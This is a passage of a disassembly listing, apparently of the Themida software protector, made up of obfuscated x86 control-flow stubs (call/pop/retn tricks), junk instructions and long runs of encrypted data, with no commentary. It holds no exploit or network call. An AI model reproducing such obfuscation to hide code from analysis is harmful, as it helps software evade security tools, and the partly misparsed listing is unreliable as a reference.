= dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_5C527E endp ; --------------------------------------------------------------------------- and ecx, [ebx+ebx*2] mov ch, 8Bh mov ebp, 7E4278Dh call dword ptr [ebp+7E40E41h] nop push 0 push edi call sub_5C52AA and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C52AA proc near ; CODE XREF: Themida_:005C52A2p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5C52AA endp ; --------------------------------------------------------------------------- dw 0DB1Eh dd 9582EFBCh, 6A774E95h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 292FC350h, 0E432399Dh dd 14E907h, 0FFBA0000h, 0AFA24D1Ah, 0DB0685F3h, 710FFBC4h dd 7CA11C22h, 6A1805h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 1F68BBC3h, 0B3BE820Eh, 4D9BD89h dd 0BD8B07E4h, 7E42469h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 0C3C35545h, 51958906h, 8107E418h, 26FBDFh dd 81666032h, 614D92F2h, 8F0Fh, 9D890000h, 7E40089h, 0C5E78166h dd 55006AFBh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 0E6C3BF61h, 50F28DC2h, 13E805h, 3E070000h dd 5539FFAFh, 3542F4D2h, 0B85F5A70h, 5132FAD0h, 0CF815F5Bh dd 41F810A3h, 0FFF800E9h, 0BE8FFh, 89190000h, 1F30917Eh dd 2971A446h, 159D89F9h db 0Bh byte_5C53C9 db 0E4h, 7, 5Fh ; DATA XREF: Themida_:00582F38o ; Themida_:00584F6Co ; --------------------------------------------------------------------------- loc_5C53CC: ; CODE XREF: Themida_:005C4BB0j mov eax, ecx movzx esi, cx mov esi, [ebp+7E43301h] jmp short loc_5C53DD ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_5C53DD: ; CODE XREF: Themida_:005C53D7j mov [ebp+7E43321h], esi jmp loc_5C53FA ; --------------------------------------------------------------------------- dd 0B0C3715Eh, 0E1C3B043h, 0EEA0EEC2h, 32D5AED6h ; --------------------------------------------------------------------------- mov dl, 47h loc_5C53FA: ; CODE XREF: Themida_:005C53E3j lea eax, [ebp+7E40D85h] pusha pusha jmp loc_5C540F ; --------------------------------------------------------------------------- db 7Ch dd 9984321Fh db 79h, 70h, 0DEh ; --------------------------------------------------------------------------- loc_5C540F: ; CODE XREF: Themida_:005C5402j ja $+6 popa mov edx, 86E31A1h popa push eax push edx mov esi, 2CC21C29h pop edi mov [esp], eax mov [ebp+7E40455h], edi push eax mov edi, [ebp+7E43355h] pop edi push 0 push 0 push ebp call sub_5C5442 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C5442 proc near ; CODE XREF: Themida_:005C543Ap arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_5C5442 endp ; --------------------------------------------------------------------------- neg dword ptr [eax-77h] popf cmp eax, 6A07E405h add [esi+250279B8h], bh mov esi, 1DF48B46h lea eax, [ebp+7E83107h] push 0 push eax call sub_5C5477 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C5477 proc near ; CODE XREF: Themida_:005C546Fp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_5C5477 endp ; --------------------------------------------------------------------------- add ch, ah mov cl, 0EAh pop edi or [eax+ebx*8-0F48F0FDh], cl jnz loc_5C549C movzx esi, di loc_5C549C: ; CODE XREF: Themida_:005C5493j add eax, 5 xor [ebp+7E41995h], ecx push eax jmp loc_5C54B6 ; --------------------------------------------------------------------------- db 8Ah ; --------------------------------------------------------------------------- push ebx xor al, 0DBh retn 6630h ; --------------------------------------------------------------------------- mov bl, 35h db 67h stc loc_5C54B6: ; CODE XREF: Themida_:005C54A6j mov [esp], eax xor [ebp+7E41BE1h], edi push 0 push 0 push ebx call sub_5C54CC and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C54CC proc near ; CODE XREF: Themida_:005C54C4p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_5C54CC endp ; --------------------------------------------------------------------------- dd 2627DB77h, 6ACFE1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 87C35343h, 41550EC8h, 0CF8163DEh, 65FD6A4Bh dd 247195FFh, 6A07E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 0A02CBDC3h, 8DE045FCh, 0E7D64B9Dh dd 7830F07h, 60000000h, 0B0D98B66h, 0D3FF61F4h, 5CB8D8BFh dd 0B985FF72h, 6A07E420h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 0E75C350h, 0DA9599B8h dd 0B093BF31h, 0AE8h, 88B47900h, 5082E01Ah, 0E9A5B0F5h dd 5, 0B6F34A67h, 0CFE95E6Dh, 0E8000008h, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 7E83111h mov [ebp+7E41469h], edi cmp dword ptr [ebp+7E42AD5h], 7D0h jbe loc_5C579D push 0 push edx call sub_5C55C4 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C55C4 proc near ; CODE XREF: Themida_:005C55BCp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_5C55C4 endp ; --------------------------------------------------------------------------- push edi add [edi], esp cmp al, 0C8h mov ebx, [ebp+7E41AC5h] push 0 push edx call sub_5C55EA and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C55EA proc near ; CODE XREF: Themida_:005C55E2p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5C55EA endp ; --------------------------------------------------------------------------- cld test eax, 338349EFh push edx jg loc_5C560F push edi jnz $+6 pop esi loc_5C560F: ; CODE XREF: Themida_:005C5601j and ebx, 100h push 0 push esi call sub_5C5620 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C5620 proc near ; CODE XREF: Themida_:005C5618p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_5C5620 endp ; --------------------------------------------------------------------------- fnstsw word ptr [esi-72D6408Ch] mov ecx, 0F507E431h or ebx, ebx jnz loc_5C56F6 push 0 push edx call sub_5C564E and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C564E proc near ; CODE XREF: Themida_:005C5646p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_5C564E endp ; --------------------------------------------------------------------------- dw 84E9h dd 1F32304Eh, 89751368h, 0E42DD58Dh, 4EBD8307h, 7E82Fh dd 3D840Fh, 8D290000h, 7E41395h, 0B0E9h, 0DE800h, 0C0100000h dd 250CB52Ch, 0A134A1E4h, 0E8924AA4h, 12h, 4AB636FBh, 93EC647Ch dd 64654D2Fh, 83694337h, 5FFCA613h, 8D8D895Eh, 0C707E419h dd 0E82F4E85h, 107h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 0DD204B7h, 0CE7E1C51h dd 8DBD0139h, 0E907E41Fh, 45h, 16ADB58Bh db 0E4h, 7 ; --------------------------------------------------------------------------- loc_5C56F6: ; CODE XREF: Themida_:005C563Dj mov dword ptr [ebp+7E82F4Eh], 0 push 0 push ebx call sub_5C570B and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C570B proc near ; CODE XREF: Themida_:005C5703p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_5C570B endp ; --------------------------------------------------------------------------- jnb short near ptr loc_5C574B+3 xchg eax, ebp pop ebp add al, 0E4h pop es jmp loc_5C5735 ; --------------------------------------------------------------------------- db 8Eh dd 0AB0E26EAh, 0DD8611FEh, 0A7600E2Dh ; --------------------------------------------------------------------------- inc edx loc_5C5735: ; CODE XREF: Themida_:005C5722j lea ebx, [ebp+7E41AC5h] push 0 push ecx call sub_5C5746 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C5746 proc near ; CODE XREF: Themida_:005C573Ep arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx loc_5C574B: ; CODE XREF: Themida_:005C571Bj add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_5C5746 endp ; --------------------------------------------------------------------------- dw 7BFEh ; --------------------------------------------------------------------------- cmp edi, [esi+53h] sub ds:8B663DFAh[ebx*2], ch sti and dword ptr [ebx], 0FFFFFEFFh push 0 push ecx call sub_5C5774 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C5774 proc near ; CODE XREF: Themida_:005C576Cp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_5C5774 endp ; --------------------------------------------------------------------------- dd 68D0F09h, 89000000h, 0E404D185h, 6850F07h, 8B000000h dd 0E430B9BDh ; --------------------------------------------------------------------------- pop es loc_5C579D: ; CODE XREF: Themida_:005C55B3j mov bx, ds push 0 push ebp call sub_5C57AB and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C57AB proc near ; CODE XREF: Themida_:005C57A3p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_5C57AB endp ; --------------------------------------------------------------------------- inc byte ptr [ebx+7E37B9FEh] mov di, cx test bl, 4 jz loc_5C57F1 mov [ebp+7E41EC1h], ecx call dword ptr [ebp+7E42D91h] or edi, 25FB3B62h nop mov edi, 1D303CAAh push eax nop and edi, [ebp+7E41C31h] mov di, 1210h loc_5C57F1: ; CODE XREF: Themida_:005C57C7j jmp loc_5C5C38 ; --------------------------------------------------------------------------- dw 8D09h dd 7E4159Dh, 0BD3100B0h, 7E422C5h, 0EE970E6h, 55000000h dd 3D193232h, 0CCC16018h, 0B2BA78CAh, 6810F5Fh, 9000000h dd 0E40A859Dh, 6A71E407h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 0D136C357h, 60A78241h dd 1A58589h, 895207E4h, 0E421F9B5h, 0F615F07h, 6AD8B6h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 0A59B95C3h, 6BAh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 5AAF332Eh, 23013B74h dd 0BD8B5906h, 7E42D95h, 6AC38Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 0F0C17C3h, 89B509F8h dd 0F07E425h, 86h, 4E8C100h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 40C35242h, 8B5757C2h, 0E43181BDh dd 0F7665E07h, 56006AE2h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 0FEE46F9h, 0D82BF2B7h dd 9C18D89h, 9D8907E4h, 7E4186Dh, 8B666050h, 61F98BC7h dd 60241C89h, 61F18B66h, 2AD5B5FFh, 860F07E4h, 6, 58C9CF81h dd 95FF6378h, 7E40E41h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 93C35040h, 0D05E3A6Ah, 91BD8B60h, 0B007E423h dd 9DBD8B00h, 0E607E414h, 57006A70h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 10998D13h dd 2C9B169Bh, 8B71E4C6h, 0F613CFBh, 27F83h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 914166Ah, 15F632D1h, 0DE817690h, 1249FFAFh, 6AD8B60Fh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 49C3C355h, 0E935391Fh, 6, 5E3289A5h, 8589E258h dd 7E415D1h, 6BAh, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 820FC294h, 0Dh, 8E9h dd 5157EE00h, 0ED48A5C6h, 89C38BD5h, 0E41415BDh, 0E8BE6607h dd 4E8C1D9h, 6AE2F766h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 0F28C352h, 57830D44h dd 0FB8B660Ch, 6AD82Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 44A220C3h, 0AB789176h, 0BE92930h dd 0F7000000h, 0C670F1ABh, 0D1662E96h, 6A587851h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 25BEC356h, 0FD82B0Eh, 15788h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 62B562FBh dd 7B9h, 0F7816600h, 0C183B18Ah, 79B58B00h, 3B07E402h dd 1D860FD9h, 6A000001h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 7B29C356h, 4CFBB30Ch dd 10E9B35Ah, 0AA000000h, 53685F8Ah, 92518B92h, 6BA1E5D1h dd 661D5242h, 0F6F8D98Ch, 840F04C1h, 0A2h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 76C35040h, 0FF2C78BCh dd 0E42D9195h, 0F1958907h, 5B07E423h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 3EC35646h, 36808BA3h, 30D8131Dh dd 6E9DCh, 3ACC0000h, 0BE62FAA0h, 6AC32Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 26EB7FC3h dd 6E9h, 1C240400h, 3DE42DC3h, 834h, 10860Fh, 0AABE0000h dd 0E96A298Dh, 3Ch, 89B6D781h, 0C08B0EABh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 34C35040h, 8CF211F2h dd 0BD8B35AAh, 7E431D5h, 68E0Fh, 0BD8B0000h, 7E42D61h ; --------------------------------------------------------------------------- loc_5C5C38: ; CODE XREF: Themida_:loc_5C57F1j mov eax, ebx mov ebx, eax push 0 push eax call sub_5C5C47 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C5C47 proc near ; CODE XREF: Themida_:005C5C3Fp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_5C5C47 endp ; --------------------------------------------------------------------------- adc [edi], eax cmp ebp, [edx-5FF34516h] jb loc_5C5C6C ja loc_5C5C6C cld loc_5C5C6C: ; CODE XREF: Themida_:005C5C5Fj ; Themida_:005C5C65j mov dword ptr [ebp+7E40965h], 71681151h push 0 push ecx call sub_5C5C81 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C5C81 proc near ; CODE XREF: Themida_:005C5C79p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_5C5C81 endp ; --------------------------------------------------------------------------- mov dh, 2Bh mov al, 5Bh imul ebp, [ebx-7A763F75h], 7E404D1h cmp dword ptr [ebp+7E42AD5h], 7D0h jnz loc_5C5CE3 push 0 push esi call sub_5C5CBA and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C5CBA proc near ; CODE XREF: Themida_:005C5CB2p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_5C5CBA endp ; --------------------------------------------------------------------------- dw 40E3h dd 0FF579CB7h, 6694E8D1h, 12B4EE81h, 2AD585FFh, 0B2BE07E4h ; --------------------------------------------------------------------------- fnstenv byte ptr [edi+27h] loc_5C5CE3: ; CODE XREF: Themida_:005C5CA9j push dword ptr [ebp+7E42AD5h] push 0 push edx call sub_5C5CF4 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C5CF4 proc near ; CODE XREF: Themida_:005C5CECp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5C5CF4 endp ; --------------------------------------------------------------------------- imul ecx, [edi], 61h sub [ebp+7E431C5h], ecx call dword ptr [ebp+7E40E41h] jmp loc_5C5D22 ; --------------------------------------------------------------------------- dd 0ECC6163Ch, 2F5534F5h db 0BFh, 81h ; --------------------------------------------------------------------------- loc_5C5D22: ; CODE XREF: Themida_:005C5D13j nop xor [ebp+7E40BA5h], esi jle loc_5C5D34 mov esi, 4AD87B76h loc_5C5D34: ; CODE XREF: Themida_:005C5D29j sub [ebp+7E403C5h], ecx push 0 push esi call sub_5C5D45 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C5D45 proc near ; CODE XREF: Themida_:005C5D3Dp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_5C5D45 endp ; --------------------------------------------------------------------------- db 7Ch, 92h, 6Eh dd 8817F742h, 0CE8h, 0C7C1FD00h, 0EFD7BEBEh, 0A43D4D77h dd 82EEBFE6h, 295F1279h, 0E4307DB5h, 0F8BF0F07h, 0FF7BF0Fh dd 68Eh, 31B58900h, 8907E41Fh, 0E40EE1BDh, 50006A07h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 61A3DCEAh, 34D70DD0h, 0FDB5234Fh, 8B07E42Ah, 5B503FBh dd 0BE07E40Ah, 6222BEA3h, 0D558589h, 0F9F907E4h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0C0C35747h, 89772531h dd 0E41AB5B5h, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 22880F4Dh, 60000000h dd 0BE8h, 99CB100h, 4791549h, 0B13DC8ACh, 2958535Bh, 0E421018Dh dd 3161F507h, 0E4042185h, 75BD8B07h, 0E907E40Bh, 0FFFFF753h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0F5C35141h dd 0A12E2BD4h, 2AE98D5Eh, 3E000000h, 49AB69h, 9 dup(0) dd 58AE900h, 8D650000h, 0E8C1D76Bh, 421E34C8h, 9F7E9428h dd 6E1F78Bh, 777D56EAh, 53E703DEh, 0B145633Dh, 13A7BD9Bh dd 740820FDh, 0EF9411C1h, 6B13AA9Ah, 79569726h, 805B2961h dd 0DDBAD064h, 0E2BF8DC5h, 6CA4B897h, 4D6B45D1h, 0C542A4F4h dd 1442A03Eh, 17688861h, 44D69CAEh, 0A09E65E2h, 0CC3C1442h dd 0D6919A00h, 8D9FF8F4h, 427A9A73h, 48809674h, 0FA869C7Ah dd 15CC041Eh, 0D653063Eh, 14423C21h, 0C9EB44ADh, 4825184Ch dd 0A8869C30h, 0AE8FE92h, 14EEBCF4h, 2E08A6F6h, 8138FE10h dd 0A583FAAAh, 0AF21FB8Fh, 0BD9B3170h, 224147A7h, 0C7A45BD8h dd 0C9321442h, 67445E70h, 8561FF4Fh, 0E693596Bh, 1442C714h dd 0BA90B09h, 0D6AD182Ch, 841442C7h, 386C091Bh, 5BAA7B84h dd 50AB1DE0h, 42709FC6h, 0BEFD9CAEh, 1D000000h, 548CA07Fh dd 92D2A7B9h, 9FB39230h, 9A61CC67h, 381442A0h, 4FA8BE9Ch dd 2E46233Dh, 0A0B449F6h, 0B06D1442h, 1137C8F4h, 0DA0E05Ch dd 0C0000000h, 8726F24Eh, 88648889h, 2E03156Eh, 4E2A7D56h dd 861FC34h, 0C2A03ED0h, 0A7809AACh, 35C53787h, 0E0F2B89Ch dd 2C09EE6Bh, 5CC51442h, 5D2BF103h, 7C1A6A7Eh, 804E86A0h dd 21338CA2h, 90B18D5Bh, 0CBC9B2B0h, 0CC045D77h, 0B9426C2Ah dd 0CC58A7E6h, 1922CEF1h, 0FD428FB7h, 8B086CA4h, 6D8964DBh dd 1F419A35h, 0D8E5C361h, 42ECA45Bh, 70C93214h, 758D6A38h dd 396D0A1Ch, 0B94D6D46h, 1AAEC6A3h, 0DC90CE40h, 3CBB2525h dd 0D9EB4462h, 5F7B5604h, 69805927h, 42A017ECh, 0B047C414h dd 1E1442A0h, 0A2FB64B5h, 23632C6Ah, 0B145613Ch, 7B9FBE9Bh dd 38D3B258h, 14A6DE37h, 467E9C76h, 0A37F99ABh, 0A9835189h dd 0A685538Bh, 0CCA35A92h, 6F80D898h, 0B3A88737h, 986DE05Bh dd 96000000h, 275F7B56h, 13637D59h, 2EFAF3A1h, 0C1D33F77h dd 38502DFBh, 86745E00h, 0C9797729h, 1048603Dh, 3B772FACh dd 75E89C19h, 902E7E9Ah, 698B9DB1h, 50297853h, 2EC7BC39h dd 2A931442h, 724078D1h, 331B7893h, 0BEFBB604h, 98771565h dd 0FF1FF884h, 541A2CC7h, 0C1FDA9BAh, 0E05C016Eh, 69A8F668h dd 579A3D8Dh, 5CA645h, 54C60000h, 9880D4DFh, 6F896549h dd 562F0416h, 59275F7Bh, 0AF16E7Bh, 0C81442A0h, 0A014EB68h dd 59C21442h, 8E6FA700h, 9E45B0Bh, 568859EDh, 6F0D5D7Dh dd 536B4891h, 0C727801Bh, 0E421679Ah, 4E142678h, 4219DFA1h dd 5F07C414h, 8B9F7E1Ch, 0CBA6B853h, 0E05B5834h, 1A1h dd 7A56CA00h, 7D5A2860h, 0E4A31565h, 0C88123A9h, 21EFB5C7h dd 22F02848h, 60F22A48h, 422D1CE3h, 2F51BA14h, 49BEF2B2h dd 6F4B3272h, 0EDA2C155h, 0BEF471C1h, 7D13A61Ch, 8A9E7D1Bh dd 0B74CB752h, 2313A61Eh, 1EB146C3h, 0B41D13A6h, 16A495Bh dd 31C537C9h, 0A737B44Ah, 20798D6Ch, 0FF17F40Eh, 2D78556Bh dd 0A4DC3553h, 0A60706F7h, 4BFB7E13h, 7D957210h, 5C74516Bh dd 0BDD5B2C8h, 0C2DAB785h, 0C3834C8Ah, 0C50B2698h, 0C726C50h dd 0EB03E0FAh, 0A7F8057h, 2758D878h, 81000001h, 5D39424Dh dd 1D9AEA43h, 13A6BE43h, 0E658A811h, 0F5D1AB38h, 0E5B97BDBh dd 9D79DAFh, 0A680142Ch, 8330C744h, 359E13A6h, 142C0923h dd 6BE84ADCh, 13A68394h, 0B2C8A642h, 7486DF7Ah, 15657D5Ah dd 6F819B77h, 0E2A26BA9h, 204019B7h, 21411AE8h, 0E3F54EE9h dd 40D4ECC9h, 1703F466h, 0CAE509E4h, 1D7D80E9h, 0A1B3A079h dd 77CA39C6h, 4A9ED8h, 4CBE0000h, 12B00B1Fh, 8B607243h dd 1A6A444Dh, 0BD5F069Dh, 40E3556Bh, 70F4FF7Eh, 9801E0F2h dd 0B7CBAA48h, 4D32DFA5h, 0CE94427Bh, 0D3A1D9F1h, 67A5DDF7h dd 0ADAAE69Eh, 0DBB6BEE6h, 910683D3h, 0BDEBBD84h, 6BF2C054h dd 81000000h, 1C6C424Dh, 0A6B9F59Fh, 0FA329B13h, 0F2890668h dd 6013A6BAh, 0EECBE5F7h, 4F2C42D6h, 0B6DFF37h, 0A6BAE98Eh dd 70FC6513h, 0A43F7797h, 0BA199992h, 591D13A6h, 0B0C2E2BBh dd 0FEC5313h, 0EB8963F7h, 0BDE0F212h, 0F8CDCD2h, 144E828Ch dd 532159C2h, 700E5E76h, 0A7427A94h, 4118CF95h, 307E1105h dd 0CC7863E0h, 0AD161C66h, 424D4819h, 0B9455B39h, 1C6CC5DBh dd 0AA993C9Fh, 0D9B55313h, 7AA911B8h, 55E5E6Ah, 412032CDh dd 0F5D2A0D8h, 58B1D1AAh, 0B9D1AEC4h, 0FFE7D481h, 25A25DE9h dd 921FE61h, 6A825F75h, 71856432h, 778D6B39h, 7B95713Fh dd 431CA843h, 870AEB23h, 471E93DFh, 2B43201Fh, 8CA48197h dd 0FCE54h, 925D0000h, 9DFD19F4h, 2424B0F1h, 775A6C70h dd 5C7E5628h, 61795624h, 677D5B29h, 6987612Fh, 6C886331h dd 6F8B6634h, 768A6937h, 7A94703Eh, 7B9B7442h, 8956EE43h dd 4C681E6h, 83000000h, 0FF5604EEh, 5E042474h, 5C24048Fh dd 4EC81h, 14890000h, 0E3895324h, 4C381h, 0EB810000h, 4 dd 5C241C87h, 68240489h, 7E83A0Fh, 8124148Bh, 4C4h, 48B5400h dd 4C48324h, 27F268h, 24148900h, 0FF08408Fh, 81582434h dd 4C4h, 24148B00h, 81E18951h, 4C1h, 4C18300h, 5C240C87h dd 0FC3E6AE9h, 40B1A2FFh, 6D1D20F5h, 0E83F1BB8h, 0FFC50307h dd 0F885ABE0h, 17FBA12Eh, 778DF130h, 0E182EE67h, 2E561569h dd 63E0B85Ah, 68274667h, 62B4FF70h, 8BE0365Ah, 2C594243h dd 64D06F5Dh, 589DBB56h, 0F629A305h, 0F3F4B60Ah, 0AB46DD54h dd 0C1ED5D29h, 3F516138h, 4E368A3Ch, 9953C429h, 694D4806h dd 0E9C18B52h, 9, 12DCE2Ah, 0E0AD7D5Dh, 4EBDFh, 8B000000h dd 0E401A1BDh, 50006A07h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 24F49CA6h, 0B7E2348Ch dd 85858D4Eh, 6607E40Dh, 9170C781h, 24048950h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 76C35747h, 2AF691CCh dd 759D89C8h, 6A07E415h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1D04h, 0C3524200h, 12C53CD2h, 2BC0A5CEh dd 81666DCAh, 6A3D55D6h, 94858D00h, 0F07E841h, 68Bh, 3D9D8900h dd 8307E405h, 0E89005C0h, 9, 0A6F3BA9Bh, 0D71C02Bh, 53505F6Eh dd 5F616051h, 6A905Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 0F4F167C3h, 236D813Bh, 0F5B80C12h dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 7D96C7C3h, 9DE8A018h, 29006AF6h, 0E41C3985h dd 13E907h, 0E2580000h, 0D4B16EF3h, 0E4A280B7h, 806CF5B4h dd 0DA833A01h, 7195FF1Fh, 0BE07E424h, 763B83CEh, 0D64B9D8Dh dd 10E907E7h, 9000000h, 90A9E7FEh, 0F572C3Ah, 0C43CC39Dh dd 8B2C298Ah, 0E41A09BDh, 89D3FF07h, 0E41C7DBDh, 0B985FF07h dd 6A07E420h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 1F1BC356h, 3817A79Bh, 47CF8166h dd 0E1BD03E8h, 0E907E422h, 8AAh, 0E8h, 0ED815D00h, 7E8419Eh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 39C35747h dd 8D01DA12h, 7E42ACDh, 2AD5BD81h, 7D007E4h, 860F0000h dd 179h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 0B7C35141h, 81587F5Fh, 29A450CEh, 5E902h, 21E10000h dd 8BD2C97Dh dd 0E406FD9Dh, 68F0F07h, 8B000000h, 0E415E1B5h, 0E38107h dd 0F000001h, 13E9F0BFh, 3C000000h, 0D981EFD1h, 0B92FFFF5h dd 0FC8957D6h, 53293B1Ch, 0DB0B475Dh, 8F850Fh, 8D290000h dd 7E41459h, 4004BD83h, 0F0007E8h, 3C84h, 4ABF6600h, 0A9E9B4h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 0E9121DC3h, 11h, 0E7CC4CB5h, 0B4C17817h dd 0CDDF3750h, 73029C6h, 485C710h, 107E840h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 0AC27C356h, 568778FDh, 552E9756h, 279B58Bh dd 3CE907E4h, 29000000h, 0E40AE995h, 485C707h, 7E840h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 8980C353h, 0E41AC985h, 5E907h dd 0D0A00000h, 8D42FF32h, 0E406FD9Dh, 6810F07h, 89000000h dd 0E41FA985h, 0FF238107h, 6AFFFFFEh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 33FAC353h dd 0E2ACF63Bh, 8B661ABFh, 6810FF2h, 1000000h, 0E4067995h dd 0DB8C6607h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 0C6C35343h, 4C3F615h, 42840Fh, 95FF0000h, 7E42D91h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0FC35545h dd 0BD29D926h, 7E424CDh, 8820F50h, 60000000h, 310F5250h dd 8961585Ah, 95312404h, 7E42AEDh, 4A3E9h, 81B58B00h, 0B007E414h dd 0EE900h, 0F3070000h, 5EBDA5FDh, 2A9F8DF1h, 0ED694517h dd 6A70E6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 0BF49A3C3h, 671DA23Bh, 12E9h, 0E58E7A00h dd 2399BE28h, 737B769Eh, 0C7BFC543h, 0E4A46EDCh, 0CDB50371h dd 0F07E429h, 890FD8B6h, 